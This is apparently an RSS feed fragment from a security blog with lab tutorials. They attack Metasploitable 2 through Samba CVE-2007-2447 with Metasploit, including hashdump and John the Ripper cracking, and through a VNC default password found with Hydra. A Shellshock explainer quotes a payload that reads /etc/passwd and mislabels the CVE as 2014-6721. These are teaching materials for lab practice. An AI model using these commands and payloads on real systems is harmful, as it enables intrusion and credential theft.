&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeOvAAOZGEpGTqzmVqzWXGilknG5pDCeJShK2qh3Zjl9WcDxlfXSUJaerboBv9tbgFOrA2tGMCyFew6OmwP53E6iHKSUnPZAqxu76cHAeYyVKaq-4FhD47ikNE-N1gIr2C5mFEzNmD/s1600/list.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;207&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeOvAAOZGEpGTqzmVqzWXGilknG5pDCeJShK2qh3Zjl9WcDxlfXSUJaerboBv9tbgFOrA2tGMCyFew6OmwP53E6iHKSUnPZAqxu76cHAeYyVKaq-4FhD47ikNE-N1gIr2C5mFEzNmD/s320/list.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
You can also search for modules from the repository using the module search -d command, the repository is located&amp;nbsp;&lt;a href=&quot;https://github.com/mwrlabs/drozer-modules&quot; target=&quot;_blank&quot;&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUM7Mjq56Bemoi31R2CSllxcQWUNCVmdh27-5xLo-uKbQzhMu2KG91j0mxJFFudUdXf6Too0x1beqgWSgzGSFet69BNGPznR8mZaKhFMSAVciwcXIq6UF4rG71KYWRRcKRHM_sMYFN/s1600/moduleSearch.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;253&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUM7Mjq56Bemoi31R2CSllxcQWUNCVmdh27-5xLo-uKbQzhMu2KG91j0mxJFFudUdXf6Too0x1beqgWSgzGSFet69BNGPznR8mZaKhFMSAVciwcXIq6UF4rG71KYWRRcKRHM_sMYFN/s320/moduleSearch.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Then to install - &amp;nbsp;module install keyword&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq6XHiN2BF8lEjJJ_O5ePOrLSZrpTopNEY_nd0gBV0A777AyztWQXgFu-bVSTAqf8ulym1MmN26beimvigsInitTSRJyH7f-Fr5YVcqy3c35De6Cov-cgvSD097gQvJsqyZ4AZ2ZXs/s1600/installmoule.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;118&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq6XHiN2BF8lEjJJ_O5ePOrLSZrpTopNEY_nd0gBV0A777AyztWQXgFu-bVSTAqf8ulym1MmN26beimvigsInitTSRJyH7f-Fr5YVcqy3c35De6Cov-cgvSD097gQvJsqyZ4AZ2ZXs/s320/installmoule.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
In the next post I will describe how to exploit vulnerable Android applications using Drozer&lt;br /&gt;
&lt;br /&gt;
Download&amp;nbsp;&lt;a href=&quot;https://www.mwrinfosecurity.com/products/drozer/&quot; target=&quot;_blank&quot;&gt;Drozer&lt;/a&gt;</description><link>http://thehackpot.blogspot.com/2015/07/android-security-testing-introduction.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhafcBXLBy0vNiENdFIvMhgK9_SKLSfrTT7YjHAxUHYWnXXfIhPpbfdSLCx8d5AVOdpTBG4WftlXT_vun1tLN7LKFtVz2_FL34CGffEJhNq1JfhOB80O-yQwwsykNtovWqXiG3xKz98/s72-c/installapp.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-7736067872259299732</guid><pubDate>Sun, 14 Dec 2014 10:07:00 +0000</pubDate><atom:updated>2014-12-14T10:08:52.131+00:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Kali</category><category domain="http://www.blogger.com/atom/ns#">Metasploit</category><category domain="http://www.blogger.com/atom/ns#">Metasploitable</category><title>Exploiting Samba CVE-2007-2447</title><description>In this tutorial we will exploit a command execution vulnerability in Samba when the &quot;username map script&quot; is enabled. This affects Samba versions 3.0.20 - 3.0.25rc3 (inclusive), further details on the bug can be found&amp;nbsp;&lt;a href=&quot;http://www.samba.org/samba/security/CVE-2007-2447.html&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
To demonstrate this attack we will use Kali Linux (as attacker) and Metasploitable 2 (as target) both running on VirtualBox. The lab setup is as follows:&lt;br /&gt;
&lt;br /&gt;
Metasploitable - 192.168.1.5&lt;br /&gt;
Kali Linux - 192.168.1.3&lt;br /&gt;
&lt;br /&gt;
The first thing to do is top perform a scan of the Metasploitable server to see what services are open. This can be done using Nmap, open a terminal and enter the command below (note: if you are using different IPs then substitute your own in).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuzcro-rA_ynW3YxntVMOdzNOPFdJHgXvNlBn7_MfJ59I1zeFcaKIJIe5kN9SEu4DOqYQmQuIBzV1x408zKRYOKIYFwHTNxqDROD_dBFLZkAg2GD7bP4HaloexecsPENYYsGyj-ODd/s1600/nmap.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuzcro-rA_ynW3YxntVMOdzNOPFdJHgXvNlBn7_MfJ59I1zeFcaKIJIe5kN9SEu4DOqYQmQuIBzV1x408zKRYOKIYFwHTNxqDROD_dBFLZkAg2GD7bP4HaloexecsPENYYsGyj-ODd/s1600/nmap.png&quot; height=&quot;327&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
As you can see Samba is running on ports 139 and 445.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Attacking Samba with Metasploit&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Now we need to start Metasploit, open a terminal in Kali and type msfconsole. You should see something like the screenshot below.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfFghj59yXhFJXDeSHnCqd8oZx6TuB3ZY4uvFJZmgFAR95ppkgFtxsGX3inhxfQBasLAZ1W_UGF934QQ-ML33j-RuunDttYnE9ira3mxk0tLVAZRjew-NOwkNEFnGRb2qGCVXdBtdI/s1600/metasploit.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfFghj59yXhFJXDeSHnCqd8oZx6TuB3ZY4uvFJZmgFAR95ppkgFtxsGX3inhxfQBasLAZ1W_UGF934QQ-ML33j-RuunDttYnE9ira3mxk0tLVAZRjew-NOwkNEFnGRb2qGCVXdBtdI/s1600/metasploit.png&quot; height=&quot;260&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Next we want to search for exploit modules relating to Samba. In the msf terminal type &quot;search samba&quot;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx4LuYQTThmfclWL8GLuGugC-NKQ1b5UH__lvzNU4zTBxaC0TgtTemFtiGkzyprNEuxit61Sqxm8MZQ7JK7kIQFeBQ7RPiZ9Ru_p8Gf7x8TCAJW6DsJkMn9LPP45vQYf2zuScq_ooe/s1600/search.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx4LuYQTThmfclWL8GLuGugC-NKQ1b5UH__lvzNU4zTBxaC0TgtTemFtiGkzyprNEuxit61Sqxm8MZQ7JK7kIQFeBQ7RPiZ9Ru_p8Gf7x8TCAJW6DsJkMn9LPP45vQYf2zuScq_ooe/s1600/search.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Highlight &lt;b&gt;exploit/multi/samba/usermap_script&lt;/b&gt; and copy.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrjBIuQcA8olICKjRFalPi30F-B2PidGVU2WDtyUVAptHUMqDYlhP5VgYdkn4prPcExRfIaJ6Vo_d_RL3t_CTMoZKHDecPqGHyStfVBG31MwPHcVWPSCDApPKA0RsSNwct0A-p3VVn/s1600/exploit.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrjBIuQcA8olICKjRFalPi30F-B2PidGVU2WDtyUVAptHUMqDYlhP5VgYdkn4prPcExRfIaJ6Vo_d_RL3t_CTMoZKHDecPqGHyStfVBG31MwPHcVWPSCDApPKA0RsSNwct0A-p3VVn/s1600/exploit.png&quot; height=&quot;166&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Next set the Metasploit module&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAwkGMjNXLKJEKnBgRWMeEPFFxf55IzoHcmZCkdUCB7IF4lxCMKB1MLVuwp2-mod5nV4ZFR7KhW2Bwma2UPTeZ4dvfoRME74kUTLsdRRxCu7q_8fLEshQXqOSY4BG9fBhKtSBWQuKR/s1600/useExploit.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAwkGMjNXLKJEKnBgRWMeEPFFxf55IzoHcmZCkdUCB7IF4lxCMKB1MLVuwp2-mod5nV4ZFR7KhW2Bwma2UPTeZ4dvfoRME74kUTLsdRRxCu7q_8fLEshQXqOSY4BG9fBhKtSBWQuKR/s1600/useExploit.png&quot; height=&quot;121&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Then set the RHOST (Metasploitable IP address). Type show options, then set RHOST 192.168.1.5 and finally show options to confirm that the RHOST is set&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibN3435V42mxVErc7wDPw_BQMy8oyc_O2h9X9i6Xitk8sJK0DmdtUYylDhhU83YcAy6gFFUd0Drk1EVYNVx8HrdoWkpD8IBlQi-sXKZ2YVgSerPBlaDT75ayvouFK1JTEM4L7KyMwA/s1600/rhost.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibN3435V42mxVErc7wDPw_BQMy8oyc_O2h9X9i6Xitk8sJK0DmdtUYylDhhU83YcAy6gFFUd0Drk1EVYNVx8HrdoWkpD8IBlQi-sXKZ2YVgSerPBlaDT75ayvouFK1JTEM4L7KyMwA/s1600/rhost.png&quot; height=&quot;367&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Now we can run the exploit command. As you can see we have a shell running. We can background the session by doing a ctrl-Z, then type Y&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0Dt3slXXdlIwsjs0Qwn10ySU38kxwxGvzyi9nuJxLDqzdOZ25KHiUu2fiou2Vm3BUVDJfTd8uCXxBDhFweizHtMOG6r7LX3YmENLLBtM62Tvm9KMsPLi7C6_D0kmqWM3HLaT931oZ/s1600/exploitandbackground.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0Dt3slXXdlIwsjs0Qwn10ySU38kxwxGvzyi9nuJxLDqzdOZ25KHiUu2fiou2Vm3BUVDJfTd8uCXxBDhFweizHtMOG6r7LX3YmENLLBtM62Tvm9KMsPLi7C6_D0kmqWM3HLaT931oZ/s1600/exploitandbackground.png&quot; height=&quot;187&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now that we have access we can enumerate the targets password file. Type the following commands&lt;br /&gt;
&lt;br /&gt;
use post/linux/gather/hashdump&lt;br /&gt;
show options&lt;br /&gt;
set SESSION 1&lt;br /&gt;
exploit&lt;br /&gt;
&lt;br /&gt;
This will display the password hashes for each username. Copy out the Unshadowed password file.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh817tJ6dPynPyjZC19Bh4UKZ-6schf0kTy91Kc_XpoWE7nyW_0GniBKAofvvjpUuuVRlAGUQWqP0KwltXiFDnZ08giNBft4oBzfLzoY_-Z08rrckIGRw9kNPIvUL10R9471asWFuR4/s1600/hashdump.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh817tJ6dPynPyjZC19Bh4UKZ-6schf0kTy91Kc_XpoWE7nyW_0GniBKAofvvjpUuuVRlAGUQWqP0KwltXiFDnZ08giNBft4oBzfLzoY_-Z08rrckIGRw9kNPIvUL10R9471asWFuR4/s1600/hashdump.png&quot; height=&quot;175&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
The last step is to crack the hashes. We can use John the Ripper for this, open a terminal and type john then paste the password file in. A list of passwords is shown below.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSZhXBHi4twjmxdt8V1knRad5nw1lKfOyX26APavKVbZBvVi0mzOM3FsnG7FLhUtgsF5TLQ7evWEKX_0uQ4-gOjlFE1ADxzFXUmYAwL_OGELfzhnm65N9CVNTcd1O-IbZ7nDe0Idf9/s1600/password.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSZhXBHi4twjmxdt8V1knRad5nw1lKfOyX26APavKVbZBvVi0mzOM3FsnG7FLhUtgsF5TLQ7evWEKX_0uQ4-gOjlFE1ADxzFXUmYAwL_OGELfzhnm65N9CVNTcd1O-IbZ7nDe0Idf9/s1600/password.png&quot; height=&quot;92&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;</description><link>http://thehackpot.blogspot.com/2014/12/exploiting-samba-cve-2007-2447.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuzcro-rA_ynW3YxntVMOdzNOPFdJHgXvNlBn7_MfJ59I1zeFcaKIJIe5kN9SEu4DOqYQmQuIBzV1x408zKRYOKIYFwHTNxqDROD_dBFLZkAg2GD7bP4HaloexecsPENYYsGyj-ODd/s72-c/nmap.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-6977068878050257334</guid><pubDate>Mon, 01 Dec 2014 09:55:00 +0000</pubDate><atom:updated>2014-12-01T09:55:56.856+00:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Kali</category><category domain="http://www.blogger.com/atom/ns#">Metasploitable</category><title>Attacking Metasploitable VNC Services</title><description>&lt;h3&gt;
Attacking Metasploitable VNC Services&lt;/h3&gt;
&lt;br /&gt;
In this tutorial we will exploit the VNC service running on Metasploitable 2. The main use of this service is to allow admins to control other systems remotely. When you discover a running VNC service (normally on port 5900) it should be checked for weak passwords.&lt;br /&gt;
&lt;br /&gt;
To demonstrate this attack we use Kali Linux (as attacker) and Metasploitable 2 (as victim) both running on VirtualBox. If you need help setting up Kali Linux then should look&amp;nbsp;&lt;a href=&quot;http://www.blackmoreops.com/2014/04/08/detailed-guide-installing-kali-linux-on-virtualbox/&quot;&gt;here&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
Kali Linux: 192.168.1.7 &lt;br /&gt;
Metasploitable: 192.168.1.4&lt;br /&gt;
&lt;br /&gt;
The first thing to do is to perform a fingerprint of the Metasploitable server to see what services are open. This can be done by using Nmap, open a terminal and enter the command below (note: if you are using different IPs then substitute your own in).&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO3t_-xWKh0WK8B2yvq9rdTvMiOQbb9u8VZisIdU5iskVRVNSjENmTfTkmtVavhqFQIq5_qCY8CLNOUaIjcD7iGDi_3SUlHfTEhXDQYN5UzCsdxq5MtxUgSh9yoaZdxIgLVbQK2s7M/s1600/nmap.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO3t_-xWKh0WK8B2yvq9rdTvMiOQbb9u8VZisIdU5iskVRVNSjENmTfTkmtVavhqFQIq5_qCY8CLNOUaIjcD7iGDi_3SUlHfTEhXDQYN5UzCsdxq5MtxUgSh9yoaZdxIgLVbQK2s7M/s1600/nmap.png&quot; height=&quot;318&quot; width=&quot;400&quot; /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&amp;nbsp;As you can see there are a lot of open services, for this tutorial we will focus on vnc port 5900.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Exploitation&lt;/h3&gt;
Now that we have identified that the service is running we can check if it using a weak/default passwords. To do this we will use a network logon cracker called &lt;a href=&quot;https://www.thc.org/thc-hydra/&quot;&gt;Hydra.&lt;/a&gt;&lt;br /&gt;
The command below checks if the service is using the default password and as you can see it has returned password: password &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5DhVrwH0oluvjiOVVmaoe9uAJCMAJO-ETp0e1Jb3N__Y5-p5lxJFfD0SnNrWwmhOjJRHQuTQpf0JQZfJFdS2UvWnIUvfaiDLNDLgXZrni1vFZyu7QddLanugZBmxeMJMBRTS665v6/s1600/hydra.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5DhVrwH0oluvjiOVVmaoe9uAJCMAJO-ETp0e1Jb3N__Y5-p5lxJFfD0SnNrWwmhOjJRHQuTQpf0JQZfJFdS2UvWnIUvfaiDLNDLgXZrni1vFZyu7QddLanugZBmxeMJMBRTS665v6/s1600/hydra.png&quot; height=&quot;103&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now that we know the password we can try and connect to it using vncviewer. We just enter &quot;password&quot; when prompted.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigdwDYqn2LMFf6ipOpLvqF3zCymejgUcw0bTGP2NtSpWqVSfA7VRx41CBm3rBUabEe_2B9kWj-hVdJeY7FM57Xsw7Gp_N3qzc57cESfJSZW27auJzVGjqXTaZ2y8I1MmvMOdzW5AVf/s1600/vncviewer.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigdwDYqn2LMFf6ipOpLvqF3zCymejgUcw0bTGP2NtSpWqVSfA7VRx41CBm3rBUabEe_2B9kWj-hVdJeY7FM57Xsw7Gp_N3qzc57cESfJSZW27auJzVGjqXTaZ2y8I1MmvMOdzW5AVf/s1600/vncviewer.png&quot; height=&quot;111&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
We have now connected as root on the metasploitable box. The last thing to do is extract some information such as passwords. In Linux these are stored in /etc/shadow. The last step would be to retrieve the file and run a password cracking tool such as John the Ripper.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsOnjwXczILP7l5zbkIdxWuCJBt91oAZWNn0auBRdxbG19RmOB9Imjcmm_S5hYAZR_1_1SMLGKyjBW9055nmFZVbNU0aP4W8KMTl_W4nvBDt1dt6-DmQuc8jnHe0kgk4ukj7ECPuvA/s1600/etcShadow.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsOnjwXczILP7l5zbkIdxWuCJBt91oAZWNn0auBRdxbG19RmOB9Imjcmm_S5hYAZR_1_1SMLGKyjBW9055nmFZVbNU0aP4W8KMTl_W4nvBDt1dt6-DmQuc8jnHe0kgk4ukj7ECPuvA/s1600/etcShadow.png&quot; height=&quot;291&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;</description><link>http://thehackpot.blogspot.com/2014/12/attacking-metasploitable-vnc-services.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiO3t_-xWKh0WK8B2yvq9rdTvMiOQbb9u8VZisIdU5iskVRVNSjENmTfTkmtVavhqFQIq5_qCY8CLNOUaIjcD7iGDi_3SUlHfTEhXDQYN5UzCsdxq5MtxUgSh9yoaZdxIgLVbQK2s7M/s72-c/nmap.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-3276142674858998893</guid><pubDate>Fri, 26 Sep 2014 10:03:00 +0000</pubDate><atom:updated>2014-09-26T11:03:07.134+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Apache</category><category domain="http://www.blogger.com/atom/ns#">bash bug</category><category domain="http://www.blogger.com/atom/ns#">Shellshock</category><title>Shellshock (CVE-2014-6721)</title><description>&lt;h2&gt;
&amp;nbsp;Shellshock (CVE-2014-6721)&lt;/h2&gt;
&amp;nbsp;A new vulnerability affecting Bash (CVE-2014-6721) was published two days ago. Just as we seen with Heartbleed social networks have gone into a frenzy with this (its not a proper vulnerability without a logo right :).The vulnerability allows attackers to perform remote code execution.&lt;br /&gt;
&lt;br /&gt;
It affects Bash, the default command shell for Linux/Unix systems. The vulnerability occurs because
bash does not stop after processing the function definition; it
continues to parse and execute shell commands following the function
definition. The function definition is () { :; }; and lets say the malicious shell 
command is echo; /bin/cat/ /etc/passwd when this is processed the 
malicious code is processed&lt;br /&gt;
&lt;br /&gt;
From a web application point of view applications running on the Apache HTTP server using the mod_cgi and modcgi modules are vulnerable. According to the &lt;a href=&quot;http://seclists.org/oss-sec/2014/q3/650&quot;&gt;Seclists Advisory&lt;/a&gt;...&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0em;&quot;&gt;
A typical HTTP request looks like this:&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;margin: 0em;&quot;&gt;
GET /path?query-param-name=query-param-value HTTP/1.1&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;margin: 0em;&quot;&gt;
Host: www.example.com&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;margin: 0em;&quot;&gt;
Custom: custom-header-value&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;margin: 0em;&quot;&gt;
The CGI specification maps all parts to environment variables.  With
Apache httpd, the magic string “() {” can appear in these places:&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;margin: 0em;&quot;&gt;
* Host (“www.example.com”, as REMOTE_HOST)&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;margin: 0em;&quot;&gt;
* Header value (“custom-header-value”, as HTTP_CUSTOM in this example)&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;margin: 0em;&quot;&gt;
* Server protocol (“HTTP/1.1”, as SERVER_PROTOCOL)&lt;/div&gt;
&lt;div style=&quot;margin: 0em;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;margin: 0em;&quot;&gt;
In addition, with other CGI implementations, the request method
(“GET”), path (“/path”) and query string
(“query-param-name=query-param-value”) may be vectors, and it is
conceivable for “query-param-value” as well, and perhaps even
“query-param-name”. &lt;/div&gt;
&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
To demonstrate this we have a vulnerable page hosted on an Apache server.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpNl8Ag2u4c8rEPaCGn30YilYIgjbB9e70phrVNEeN4AiwUrq_09MnbMjbFYGWfxDvvg5e5rqU8FyyizVoIrijbpYRwDFyTLySxfpgo79eZWFHU4ONrGH-jyRokN20HupiUqCI3zUH/s1600/vulnerablePage.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpNl8Ag2u4c8rEPaCGn30YilYIgjbB9e70phrVNEeN4AiwUrq_09MnbMjbFYGWfxDvvg5e5rqU8FyyizVoIrijbpYRwDFyTLySxfpgo79eZWFHU4ONrGH-jyRokN20HupiUqCI3zUH/s1600/vulnerablePage.png&quot; height=&quot;239&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
We then use an intercepting proxy e.g. BurpSuite to trap the request. We can then inject our code into one of the headers, I have used the user-agent here..&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
